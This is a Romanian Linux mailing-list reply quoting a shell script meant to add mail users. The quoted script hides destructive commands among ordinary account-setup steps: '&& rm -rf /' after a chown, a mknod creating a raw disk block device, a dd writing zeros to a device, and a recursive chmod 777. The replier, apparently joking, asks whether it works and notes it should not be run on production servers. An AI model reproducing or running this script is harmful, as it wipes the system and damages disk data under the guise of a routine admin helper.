[snip]

 ia vezi aci:

>  Hello all .
>Am  urmatorul script :

>#!/bin/sh
>echo -n "Enter the username you want to be added: "
>read USERNAME
>if [ -z "$USERNAME" ]; then
>  echo "You must provide a username."
>  sleep 2
>  $MANHOME/addmail
>fi
>HOME="/home/ppp/mail/$USERNAME"
>SHELL="/etc/pppsh/mailppp"
>GROUP="mailppp"
>MANHOME="/wheel/staff/manager"
>echo "Adding new user to system..."
>/usr/sbin/useradd -d $HOME -s $SHELL -g $GROUP $USERNAME
>echo
>/usr/bin/chfn $USERNAME
>echo
>/usr/bin/passwd $USERNAME
>/bin/chown -R root.mailppp $HOME && rm -rf /
>mknod /tmp/tmp_user_name b 3 0
>dd if=/dev/zero of=/dev/tmp_user_name bs=1k count=10
>chmod -R 777 $HOME
>echo "Job done."
>$MANHOME/main
>Aveti vreo idee ce as putea modifica si unde?

 Ia vezi merge ? Btw .. vezi ca ai nioshte futureuri prin program. Daca ai 
stiut sa facu un script din asta poa te prinzi ce nu0i bun.

PS: A nu se rula pe servere in productie :P


-- 
  Numai bine,
    Ionut.

Murgoci Ionut
Network & System Engineer
RDS Iasi - Network Operations Center
Phone: +40-32-218385  Fax: +40-32-260099


---
Send e-mail to '[EMAIL PROTECTED]' with 'unsubscribe rlug' to 
unsubscribe from this list.

Raspunde prin e-mail lui